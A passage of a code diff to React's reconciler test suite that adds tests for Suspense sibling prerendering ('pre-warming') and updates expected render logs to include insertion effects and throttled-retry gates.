+      startTransition(() => root.render(<App />));
+
+      // On the first attempt, B suspends. Unwind and show a fallback, without
+      // attempting the siblings.
+      await waitForPaint(['A', 'Suspend! [B]', 'Loading outer...']);
+      expect(root).toMatchRenderedOutput(<div>Loading outer...</div>);
+
+      // Now that the fallback is visible, we can prerender the siblings. Start
+      // prerendering, then yield to simulate an interleaved event.
+      await waitFor(['A']);
+
+      // To avoid the Suspense throttling mechanism, let's pretend there's been
+      // more than a Just Noticeable Difference since we rendered the
+      // outer fallback.
+      Scheduler.unstable_advanceTime(500);
+
+      // During the render phase, but before we get to B again, resolve its
+      // promise. We should re-enter normal rendering mode, but we also
+      // shouldn't unwind and lose our work-in-progress.
+      await resolveText('B');
+      await waitForPaint([
+        'B',
+        'Suspend! [C]',
+
+        // If we were still in prerendering mode, then we would have attempted
+        // to render D here. But since we received new data, we will skip the
+        // remaining siblings to unblock the inner fallback.
+        'Loading inner...',
+      ]);
+
+      expect(root).toMatchRenderedOutput(
+        <div>
+          <div>AB</div>
+          <div>Loading inner...</div>
+        </div>,
+      );
+    });
+
+    // Now that the inner fallback is showing, we can prerender the rest of
+    // the tree.
+    assertLog([
+      // NOTE: C renders twice instead of once because when B resolved, it
+      // was treated like a retry update, not just a ping. So first it
+      // regular renders, then it prerenders. TODO: We should be able to
+      // optimize this by detecting inside the retry listener that the
+      // outer boundary is no longer suspended, and therefore doesn't need
+      // to be updated.
+      'Suspend! [C]',
+
+      // Now we're in prerender mode, so D is incuded in this attempt.
+      'Suspend! [C]',
+      'Suspend! [D]',
+    ]);
+    expect(root).toMatchRenderedOutput(
+      <div>
+        <div>AB</div>
+        <div>Loading inner...</div>
+      </div>,
+    );
+  });
+
+  it("don't throw out completed work in order to prerender", async () => {
+    function App() {
+      return (
+        <div>
+          <Suspense fallback={<Text text="Loading outer..." />}>
+            <div>
+              <AsyncText text="A" />
+            </div>
+            <div>
+              <Suspense fallback={<Text text="Loading inner..." />}>
+                <AsyncText text="B" />
+                <AsyncText text="C" />
+              </Suspense>
+            </div>
+          </Suspense>
+        </div>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    await act(async () => {
+      startTransition(() => root.render(<App />));
+
+      await waitForPaint(['Suspend! [A]', 'Loading outer...']);
+      expect(root).toMatchRenderedOutput(<div>Loading outer...</div>);
+
+      // Before the prerendering of the inner boundary starts, the data for A
+      // resolves, so we try rendering that again.
+      await resolveText('A');
+      // This produces a new tree that we can show. However, the commit phase
+      // is throttled because it's been less than a Just Noticeable Difference
+      // since the outer fallback was committed.
+      //
+      // In the meantime, we could choose to start prerendering C, but instead
+      // we wait for a JND to elapse and the commit to finish — it's not
+      // worth discarding the work we've already done.
+      await waitForAll([
+        'A',
+        'Suspend! [B]',
+
+        // C is skipped because we're no longer in prerendering mode; there's
+        // a new fallback we can show.
+        'Loading inner...',
+      ]);
+      expect(root).toMatchRenderedOutput(<div>Loading outer...</div>);
+
+      // Fire the timer to commit the outer fallback.
+      jest.runAllTimers();
+      expect(root).toMatchRenderedOutput(
+        <div>
+          <div>A</div>
+          <div>Loading inner...</div>
+        </div>,
+      );
+    });
+    // Once the inner fallback is committed, we can start prerendering C.
+    assertLog(['Suspend! [B]', 'Suspend! [C]']);
+  });
+
+  it(
+    "don't skip siblings during the retry if there was a ping since the " +
+      'first attempt',
+    async () => {
+      function App() {
+        return (
+          <>
+            <div>
+              <Suspense fallback={<Text text="Loading outer..." />}>
+                <div>
+                  <AsyncText text="A" />
+                </div>
+                <div>
+                  <Suspense fallback={<Text text="Loading inner..." />}>
+                    <AsyncText text="B" />
+                    <AsyncText text="C" />
+                  </Suspense>
+                </div>
+              </Suspense>
+            </div>
+            <div>
+              <Text text="D" />
+            </div>
+          </>
+        );
+      }
+
+      const root = ReactNoop.createRoot();
+      await act(async () => {
+        startTransition(() => root.render(<App />));
+
+        // On the first attempt, A suspends. Unwind and show a fallback, without
+        // attempting B or C.
+        await waitFor([
+          'Suspend! [A]',
+          'Loading outer...',
+
+          // Yield to simulate an interleaved event
+        ]);
+
+        // Ping the promise for A before the render phase has finished, as might
+        // happen in an interleaved network event
+        await resolveText('A');
+
+        // Now continue rendering the rest of the tree.
+        await waitForPaint(['D']);
+        expect(root).toMatchRenderedOutput(
+          <>
+            <div>Loading outer...</div>
+            <div>D</div>
+          </>,
+        );
+
+        if (gate(flags => flags.enableYieldingBeforePassive)) {
+          // Passive effects.
+          await waitForPaint([]);
+        }
+        // Immediately after the fallback commits, retry the boundary again.
+        // Because the promise for A resolved, this is a normal render, _not_
+        // a prerender. So when we proceed to B, and B suspends, we unwind again
+        // without attempting C. The practical benefit of this is that we don't
+        // block the inner Suspense fallback from appearing.
+        await waitForPaint(['A', 'Suspend! [B]', 'Loading inner...']);
+        // (Since this is a retry, the commit phase is throttled by a timer.)
+        jest.runAllTimers();
+        // The inner fallback is now visible.
+        expect(root).toMatchRenderedOutput(
+          <>
+            <div>
+              <div>A</div>
+              <div>Loading inner...</div>
+            </div>
+            <div>D</div>
+          </>,
+        );
+
+        if (gate(flags => flags.enableYieldingBeforePassive)) {
+          // Passive effects.
+          await waitForPaint([]);
+        }
+        // Now we can proceed to prerendering C.
+        await waitForPaint(['Suspend! [B]', 'Suspend! [C]']);
+      });
+      assertLog([]);
+    },
+  );
+
+  it(
+    'when a synchronous update suspends outside a boundary, the resulting' +
+      'prerender is concurrent',
+    async () => {
+      function App() {
+        return (
+          <>
+            <Text text="A" />
+            <Text text="B" />
+            <AsyncText text="Async" />
+            <Text text="C" />
+            <Text text="D" />
+          </>
+        );
+      }
+
+      const root = ReactNoop.createRoot();
+      // Mount the root synchronously
+      ReactNoop.flushSync(() => root.render(<App />));
+
+      // Synchronously render everything until we suspend in the shell
+      assertLog(['A', 'B', 'Suspend! [Async]']);
+
+      // The rest of the siblings begin to prerender concurrently. Notice
+      // that we don't unwind here; we pick up where we left off above.
+      await waitFor(['C']);
+      await waitFor(['D']);
+
+      assertLog([]);
+      expect(root).toMatchRenderedOutput(null);
+
+      await resolveText('Async');
+      assertLog(['A', 'B', 'Async', 'C', 'D']);
+      expect(root).toMatchRenderedOutput('ABAsyncCD');
+    },
+  );
+
+  it('restart a suspended sync render if something suspends while prerendering the siblings', async () => {
+    function App() {
+      return (
+        <>
+          <Text text="A" />
+          <Text text="B" />
+          <AsyncText text="Async" />
+          <Text text="C" />
+          <Text text="D" />
+        </>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    // Mount the root synchronously
+    ReactNoop.flushSync(() => root.render(<App />));
+
+    // Synchronously render everything until we suspend in the shell
+    assertLog(['A', 'B', 'Suspend! [Async]']);
+
+    // The rest of the siblings begin to prerender concurrently
+    await waitFor(['C']);
+
+    // While we're prerendering, Async resolves. We should unwind and
+    // start over, rather than continue prerendering D.
+    await resolveText('Async');
+    assertLog(['A', 'B', 'Async', 'C', 'D']);
+    expect(root).toMatchRenderedOutput('ABAsyncCD');
+  });
+});
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspense-test.internal.js b/packages/react-reconciler/src/__tests__/ReactSuspense-test.internal.js
index 8e1ba771a7dd..8657365b063a 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspense-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspense-test.internal.js
@@ -135,6 +135,9 @@ describe('ReactSuspense', () => {
       'Bar',
       // A suspends
       'Suspend! [A]',
+      // pre-warming
+      'B',
+      // end pre-warming
       'Loading...',
     ]);
     expect(container.textContent).toEqual('');
@@ -166,13 +169,21 @@ describe('ReactSuspense', () => {
       'Loading A...',
       'Suspend! [B]',
       'Loading B...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
     ]);
     expect(container.innerHTML).toEqual('Loading A...Loading B...');
 
     // Resolve first Suspense's promise and switch back to the normal view. The
     // second Suspense should still show the placeholder
     await act(() => resolveText('A'));
-    assertLog(['A']);
+    assertLog([
+      'A',
+      ...(gate('alwaysThrottleRetries')
+        ? ['Suspend! [B]', 'Suspend! [B]']
+        : []),
+    ]);
     expect(container.textContent).toEqual('ALoading B...');
 
     // Resolve the second Suspense's promise resolves and switche back to the
@@ -271,7 +282,15 @@ describe('ReactSuspense', () => {
       root.render(<Foo />);
     });
 
-    assertLog(['Foo', 'Suspend! [A]', 'Loading...']);
+    assertLog([
+      'Foo',
+      'Suspend! [A]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+      'Loading more...',
+    ]);
     expect(container.textContent).toEqual('Loading...');
 
     await resolveText('A');
@@ -316,7 +335,15 @@ describe('ReactSuspense', () => {
     // Render an empty shell
     const root = ReactDOMClient.createRoot(container);
     root.render(<Foo />);
-    await waitForAll(['Foo', 'Suspend! [A]', 'Loading...']);
+    await waitForAll([
+      'Foo',
+      'Suspend! [A]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+      'Loading more...',
+    ]);
     expect(container.textContent).toEqual('Loading...');
 
     // Now resolve A
@@ -357,7 +384,15 @@ describe('ReactSuspense', () => {
     await act(() => {
       root.render(<Foo />);
     });
-    assertLog(['Foo', 'Suspend! [A]', 'Loading...']);
+    assertLog([
+      'Foo',
+      'Suspend! [A]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+      'Suspend! [B]',
+      'Loading more...',
+    ]);
     expect(container.textContent).toEqual('Loading...');
 
     await resolveText('A');
@@ -378,74 +413,6 @@ describe('ReactSuspense', () => {
     expect(container.textContent).toEqual('AB');
   });
 
-  // @gate !disableLegacyMode && forceConcurrentByDefaultForTesting
-  it(
-    'interrupts current render when something suspends with a ' +
-      "delay and we've already skipped over a lower priority update in " +
-      'a parent',
-    async () => {
-      const root = ReactDOMClient.createRoot(container);
-
-      function interrupt() {
-        // React has a heuristic to batch all updates that occur within the same
-        // event. This is a trick to circumvent that heuristic.
-        ReactDOM.render('whatever', document.createElement('div'));
-      }
-
-      function App({shouldSuspend, step}) {
-        return (
-          <>
-            <Text text={`A${step}`} />
-            <Suspense fallback={<Text text="Loading..." />}>
-              {shouldSuspend ? <AsyncText text="Async" /> : null}
-            </Suspense>
-            <Text text={`B${step}`} />
-            <Text text={`C${step}`} />
-          </>
-        );
-      }
-
-      root.render(<App shouldSuspend={false} step={0} />);
-      await waitForAll(['A0', 'B0', 'C0']);
-      expect(container.textContent).toEqual('A0B0C0');
-
-      // This update will suspend.
-      root.render(<App shouldSuspend={true} step={1} />);
-
-      // Do a bit of work
-      await waitFor(['A1']);
-
-      // Schedule another update. This will have lower priority because it's
-      // a transition.
-      React.startTransition(() => {
-        root.render(<App shouldSuspend={false} step={2} />);
-      });
-
-      // Interrupt to trigger a restart.
-      interrupt();
-
-      await waitFor([
-        // Should have restarted the first update, because of the interruption
-        'A1',
-        'Suspend! [Async]',
-        'Loading...',
-        'B1',
-      ]);
-
-      // Should not have committed loading state
-      expect(container.textContent).toEqual('A0B0C0');
-
-      // After suspending, should abort the first update and switch to the
-      // second update. So, C1 should not appear in the log.
-      // TODO: This should work even if React does not yield to the main
-      // thread. Should use same mechanism as selective hydration to interrupt
-      // the render before the end of the current slice of work.
-      await waitForAll(['A2', 'B2', 'C2']);
-
-      expect(container.textContent).toEqual('A2B2C2');
-    },
-  );
-
   // @gate !disableLegacyMode
   it('mounts a lazy class component in non-concurrent mode (legacy)', async () => {
     class Class extends React.Component {
@@ -510,14 +477,24 @@ describe('ReactSuspense', () => {
     await act(() => {
       root.render(<App />);
     });
-    assertLog(['Suspend! [default]', 'Loading...']);
+    assertLog([
+      'Suspend! [default]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [default]',
+    ]);
 
     await act(() => resolveText('default'));
     assertLog(['default']);
     expect(container.textContent).toEqual('default');
 
     await act(() => setValue('new value'));
-    assertLog(['Suspend! [new value]', 'Loading...']);
+    assertLog([
+      'Suspend! [new value]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [new value]',
+    ]);
 
     await act(() => resolveText('new value'));
     assertLog(['new value']);
@@ -557,14 +534,24 @@ describe('ReactSuspense', () => {
     await act(() => {
       root.render(<App />);
     });
-    assertLog(['Suspend! [default]', 'Loading...']);
+    assertLog([
+      'Suspend! [default]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [default]',
+    ]);
 
     await act(() => resolveText('default'));
     assertLog(['default']);
     expect(container.textContent).toEqual('default');
 
     await act(() => setValue('new value'));
-    assertLog(['Suspend! [new value]', 'Loading...']);
+    assertLog([
+      'Suspend! [new value]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [new value]',
+    ]);
 
     await act(() => resolveText('new value'));
     assertLog(['new value']);
@@ -601,14 +588,24 @@ describe('ReactSuspense', () => {
         </App>,
       );
     });
-    assertLog(['Suspend! [default]', 'Loading...']);
+    assertLog([
+      'Suspend! [default]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [default]',
+    ]);
 
     await act(() => resolveText('default'));
     assertLog(['default']);
     expect(container.textContent).toEqual('default');
 
     await act(() => setValue('new value'));
-    assertLog(['Suspend! [new value]', 'Loading...']);
+    assertLog([
+      'Suspend! [new value]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [new value]',
+    ]);
 
     await act(() => resolveText('new value'));
     assertLog(['new value']);
@@ -645,14 +642,24 @@ describe('ReactSuspense', () => {
         </App>,
       );
     });
-    assertLog(['Suspend! [default]', 'Loading...']);
+    assertLog([
+      'Suspend! [default]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [default]',
+    ]);
 
     await act(() => resolveText('default'));
     assertLog(['default']);
     expect(container.textContent).toEqual('default');
 
     await act(() => setValue('new value'));
-    assertLog(['Suspend! [new value]', 'Loading...']);
+    assertLog([
+      'Suspend! [new value]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [new value]',
+    ]);
 
     await act(() => resolveText('new value'));
     assertLog(['new value']);
@@ -699,6 +706,9 @@ describe('ReactSuspense', () => {
       'Suspend! [Child 2]',
       'Loading...',
       'destroy layout',
+      // pre-warming
+      'Child 1',
+      'Suspend! [Child 2]',
     ]);
 
     await act(() => resolveText('Child 2'));
@@ -721,9 +731,21 @@ describe('ReactSuspense', () => {
       root.render(<App />);
     });
 
-    assertLog(['Suspend! [Child 1]', 'Loading...']);
+    assertLog([
+      'Suspend! [Child 1]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [Child 1]',
+      'Suspend! [Child 2]',
+    ]);
     await resolveText('Child 1');
-    await waitForAll(['Child 1', 'Suspend! [Child 2]']);
+    await waitForAll([
+      'Child 1',
+      'Suspend! [Child 2]',
+      ...(gate('alwaysThrottleRetries')
+        ? []
+        : ['Child 1', 'Suspend! [Child 2]']),
+    ]);
 
     jest.advanceTimersByTime(6000);
 
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspenseCallback-test.js b/packages/react-reconciler/src/__tests__/ReactSuspenseCallback-test.js
index eae080d35c0a..866e87bd6c4b 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspenseCallback-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspenseCallback-test.js
@@ -13,6 +13,7 @@ let React;
 let ReactNoop;
 let waitForAll;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactSuspense', () => {
   beforeEach(() => {
@@ -24,6 +25,7 @@ describe('ReactSuspense', () => {
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
     act = InternalTestUtils.act;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   function createThenable() {
@@ -46,7 +48,7 @@ describe('ReactSuspense', () => {
 
   // Warning don't fire in production, so this test passes in prod even if
   // the suspenseCallback feature is not enabled
-  // @gate www || !__DEV__
+  // @gate enableSuspenseCallback || !__DEV__
   it('check type', async () => {
     const {PromiseComp} = createThenable();
 
@@ -57,9 +59,18 @@ describe('ReactSuspense', () => {
     );
 
     ReactNoop.render(elementBadType);
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'Unexpected type for suspenseCallback.',
-    ]);
+    await waitForAll([]);
+    assertConsoleErrorDev(
+      [
+        'Unexpected type for suspenseCallback.',
+        ...(gate('alwaysThrottleRetries')
+          ? []
+          : ['Unexpected type for suspenseCallback.']),
+      ],
+      {
+        withoutStack: true,
+      },
+    );
 
     const elementMissingCallback = (
       <React.Suspense fallback={'Waiting'}>
@@ -68,10 +79,11 @@ describe('ReactSuspense', () => {
     );
 
     ReactNoop.render(elementMissingCallback);
-    await expect(async () => await waitForAll([])).toErrorDev([]);
+    await waitForAll([]);
+    assertConsoleErrorDev([]);
   });
 
-  // @gate www
+  // @gate enableSuspenseCallback
   it('1 then 0 suspense callback', async () => {
     const {promise, resolve, PromiseComp} = createThenable();
 
@@ -89,7 +101,10 @@ describe('ReactSuspense', () => {
     ReactNoop.render(element);
     await waitForAll([]);
     expect(ReactNoop).toMatchRenderedOutput('Waiting');
-    expect(ops).toEqual([new Set([promise])]);
+    expect(ops).toEqual([
+      new Set([promise]),
+      ...(gate('alwaysThrottleRetries') ? [] : new Set([promise])),
+    ]);
     ops = [];
 
     await act(() => resolve());
@@ -98,7 +113,7 @@ describe('ReactSuspense', () => {
     expect(ops).toEqual([]);
   });
 
-  // @gate www
+  // @gate enableSuspenseCallback
   it('2 then 1 then 0 suspense callback', async () => {
     const {
       promise: promise1,
@@ -128,14 +143,21 @@ describe('ReactSuspense', () => {
     ReactNoop.render(element);
     await waitForAll([]);
     expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 1');
-    expect(ops).toEqual([new Set([promise1])]);
+    expect(ops).toEqual([
+      new Set([promise1]),
+      ...(gate('alwaysThrottleRetries') ? [] : new Set([promise1, promise2])),
+    ]);
     ops = [];
 
     await act(() => resolve1());
     ReactNoop.render(element);
     await waitForAll([]);
     expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 1');
-    expect(ops).toEqual([new Set([promise2])]);
+    expect(ops).toEqual([
+      new Set([promise2]),
+      // pre-warming
+      new Set([promise2]),
+    ]);
     ops = [];
 
     await act(() => resolve2());
@@ -145,7 +167,7 @@ describe('ReactSuspense', () => {
     expect(ops).toEqual([]);
   });
 
-  // @gate www
+  // @gate enableSuspenseCallback
   it('nested suspense promises are reported only for their tier', async () => {
     const {promise, PromiseComp} = createThenable();
 
@@ -174,10 +196,13 @@ describe('ReactSuspense', () => {
     await waitForAll([]);
     expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 2');
     expect(ops1).toEqual([]);
-    expect(ops2).toEqual([new Set([promise])]);
+    expect(ops2).toEqual([
+      new Set([promise]),
+      ...(gate('alwaysThrottleRetries') ? [] : [new Set([promise])]),
+    ]);
   });
 
-  // @gate www
+  // @gate enableSuspenseCallback
   it('competing suspense promises', async () => {
     const {
       promise: promise1,
@@ -223,7 +248,7 @@ describe('ReactSuspense', () => {
     await act(() => resolve1());
     expect(ReactNoop).toMatchRenderedOutput('Waiting Tier 2Done');
     expect(ops1).toEqual([]);
-    expect(ops2).toEqual([new Set([promise2])]);
+    expect(ops2).toEqual([new Set([promise2]), new Set([promise2])]);
     ops1 = [];
     ops2 = [];
 
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspenseEffectsSemantics-test.js b/packages/react-reconciler/src/__tests__/ReactSuspenseEffectsSemantics-test.js
index e0137575164b..e65c02d89e4d 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspenseEffectsSemantics-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspenseEffectsSemantics-test.js
@@ -148,6 +148,13 @@ describe('ReactSuspenseEffectsSemantics', () => {
 
   function Text({children = null, text}) {
     Scheduler.log(`Text:${text} render`);
+    React.useInsertionEffect(() => {
+      Scheduler.log(`Text:${text} create insertion`);
+      return () => {
+        Scheduler.log(`Text:${text} destroy insertion`);
+      };
+    }, []);
+
     React.useLayoutEffect(() => {
       Scheduler.log(`Text:${text} create layout`);
       return () => {
@@ -268,12 +275,18 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Suspend:Async',
         'Text:Fallback render',
         'Text:Outside render',
+        'Text:Fallback create insertion',
+        'Text:Outside create insertion',
         'Text:Fallback create layout',
         'Text:Outside create layout',
         'App create layout',
         'Text:Fallback create passive',
         'Text:Outside create passive',
         'App create passive',
+        // pre-warming
+        'Text:Inside:Before render',
+        'Suspend:Async',
+        'ClassText:Inside:After render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -290,7 +303,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Inside:Before render',
         'AsyncText:Async render',
         'ClassText:Inside:After render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
+        'Text:Inside:Before create insertion',
         'Text:Inside:Before create layout',
         'AsyncText:Async create layout',
         'ClassText:Inside:After componentDidMount',
@@ -312,9 +327,11 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'App destroy layout',
+        'Text:Inside:Before destroy insertion',
         'Text:Inside:Before destroy layout',
         'AsyncText:Async destroy layout',
         'ClassText:Inside:After componentWillUnmount',
+        'Text:Outside destroy insertion',
         'Text:Outside destroy layout',
         'App destroy passive',
         'Text:Inside:Before destroy passive',
@@ -387,6 +404,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'ClassText:Inside:After render',
         'Text:Fallback render',
         'Text:Outside render',
+        'Text:Inside:Before create insertion',
+        'Text:Fallback create insertion',
+        'Text:Outside create insertion',
         'Text:Inside:Before create layout',
         'ClassText:Inside:After componentDidMount',
         'Text:Fallback create layout',
@@ -412,6 +432,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'AsyncText:Async render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'Text:Fallback destroy passive',
@@ -431,9 +452,11 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'App destroy layout',
+        'Text:Inside:Before destroy insertion',
         'Text:Inside:Before destroy layout',
         'AsyncText:Async destroy layout',
         'ClassText:Inside:After componentWillUnmount',
+        'Text:Outside destroy insertion',
         'Text:Outside destroy layout',
         'App destroy passive',
         'Text:Inside:Before destroy passive',
@@ -444,7 +467,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
     });
   });
 
-  describe('layout effects within a tree that re-suspends in an update', () => {
+  describe('effects within a tree that re-suspends in an update', () => {
     // @gate enableLegacyCache && !disableLegacyMode
     it('should not be destroyed or recreated in legacy roots', async () => {
       function App({children = null}) {
@@ -482,6 +505,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Inside:Before render',
         'Text:Inside:After render',
         'Text:Outside render',
+        'Text:Inside:Before create insertion',
+        'Text:Inside:After create insertion',
+        'Text:Outside create insertion',
         'Text:Inside:Before create layout',
         'Text:Inside:After create layout',
         'Text:Outside create layout',
@@ -514,6 +540,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Inside:After render',
         'Text:Fallback render',
         'Text:Outside render',
+        'Text:Fallback create insertion',
         'Text:Fallback create layout',
         'Text:Fallback create passive',
       ]);
@@ -545,6 +572,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'AsyncText:Async render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'Text:Fallback destroy passive',
@@ -564,9 +592,12 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'App destroy layout',
+        'Text:Inside:Before destroy insertion',
         'Text:Inside:Before destroy layout',
         'AsyncText:Async destroy layout',
+        'Text:Inside:After destroy insertion',
         'Text:Inside:After destroy layout',
+        'Text:Outside destroy insertion',
         'Text:Outside destroy layout',
         'App destroy passive',
         'Text:Inside:Before destroy passive',
@@ -612,6 +643,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Inside:Before render',
         'Text:Inside:After render',
         'Text:Outside render',
+        'Text:Inside:Before create insertion',
+        'Text:Inside:After create insertion',
+        'Text:Outside create insertion',
         'Text:Inside:Before create layout',
         'Text:Inside:After create layout',
         'Text:Outside create layout',
@@ -644,9 +678,16 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Outside render',
           'Text:Inside:Before destroy layout',
           'Text:Inside:After destroy layout',
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
         ]);
-        await waitForAll(['Text:Fallback create passive']);
+        await waitForAll([
+          'Text:Fallback create passive',
+          // pre-warming
+          'Text:Inside:Before render',
+          'Suspend:Async',
+          'Text:Inside:After render',
+        ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
             <span prop="Inside:Before" hidden={true} />
@@ -665,6 +706,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Inside:Before render',
         'AsyncText:Async render',
         'Text:Inside:After render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'Text:Inside:Before create layout',
         'AsyncText:Async create layout',
@@ -686,9 +728,12 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'App destroy layout',
+        'Text:Inside:Before destroy insertion',
         'Text:Inside:Before destroy layout',
         'AsyncText:Async destroy layout',
+        'Text:Inside:After destroy insertion',
         'Text:Inside:After destroy layout',
+        'Text:Outside destroy insertion',
         'Text:Outside destroy layout',
         'App destroy passive',
         'Text:Inside:Before destroy passive',
@@ -797,6 +842,12 @@ describe('ReactSuspenseEffectsSemantics', () => {
           </>,
         );
       });
+      // pre-warming
+      assertLog([
+        'ClassText:Inside:Before render',
+        'Suspend:Async',
+        'ClassText:Inside:After render',
+      ]);
 
       // Resolving the suspended resource should re-create inner layout effects.
       await act(async () => {
@@ -868,6 +919,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'App render',
         'Text:Outer render',
         'Text:Inner render',
+        'Text:Inner create insertion',
+        'Text:Outer create insertion',
         'Text:Inner create layout',
         'Text:Outer create layout',
         'App create layout',
@@ -894,9 +947,16 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Fallback render',
           'Text:Outer destroy layout',
           'Text:Inner destroy layout',
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
         ]);
-        await waitForAll(['Text:Fallback create passive']);
+        await waitForAll([
+          'Text:Fallback create passive',
+          // pre-warming
+          'Suspend:Async',
+          'Text:Outer render',
+          'Text:Inner render',
+        ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
             <span hidden={true} prop="Outer">
@@ -915,6 +975,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'AsyncText:Async render',
         'Text:Outer render',
         'Text:Inner render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'Text:Inner create layout',
@@ -937,7 +998,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'App destroy layout',
         'AsyncText:Async destroy layout',
+        'Text:Outer destroy insertion',
         'Text:Outer destroy layout',
+        'Text:Inner destroy insertion',
         'Text:Inner destroy layout',
         'App destroy passive',
         'AsyncText:Async destroy passive',
@@ -982,6 +1045,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'App render',
         'Text:Outer render',
         'Text:MemoizedInner render',
+        'Text:MemoizedInner create insertion',
+        'Text:Outer create insertion',
         'Text:MemoizedInner create layout',
         'Text:Outer create layout',
         'App create layout',
@@ -1009,9 +1074,15 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Fallback render',
           'Text:Outer destroy layout',
           'Text:MemoizedInner destroy layout',
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
         ]);
-        await waitForAll(['Text:Fallback create passive']);
+        await waitForAll([
+          'Text:Fallback create passive',
+          // pre-warming
+          'Suspend:Async',
+          'Text:Outer render',
+        ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
             <span hidden={true} prop="Outer">
@@ -1029,6 +1100,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'AsyncText:Async render',
         'Text:Outer render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'Text:MemoizedInner create layout',
@@ -1051,7 +1123,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'App destroy layout',
         'AsyncText:Async destroy layout',
+        'Text:Outer destroy insertion',
         'Text:Outer destroy layout',
+        'Text:MemoizedInner destroy insertion',
         'Text:MemoizedInner destroy layout',
         'App destroy passive',
         'AsyncText:Async destroy passive',
@@ -1082,6 +1156,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Outer render',
         'Text:Inner render',
+        'Text:Outer create insertion',
+        'Text:Inner create insertion',
         'Text:Outer create layout',
         'Text:Inner create layout',
         'Text:Outer create passive',
@@ -1106,8 +1182,12 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Suspend:InnerAsync_1',
         'Text:InnerFallback render',
         'Text:Inner destroy layout',
+        'Text:InnerFallback create insertion',
         'Text:InnerFallback create layout',
         'Text:InnerFallback create passive',
+        // pre-warming
+        'Text:Inner render',
+        'Suspend:InnerAsync_1',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1134,8 +1214,15 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:OuterFallback render',
         'Text:Outer destroy layout',
         'Text:InnerFallback destroy layout',
+        'Text:OuterFallback create insertion',
         'Text:OuterFallback create layout',
         'Text:OuterFallback create passive',
+        // pre-warming
+        'Text:Outer render',
+        'Suspend:OuterAsync_1',
+        'Text:Inner render',
+        'Suspend:InnerAsync_1',
+        'Text:InnerFallback render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1150,7 +1237,15 @@ describe('ReactSuspenseEffectsSemantics', () => {
       await act(async () => {
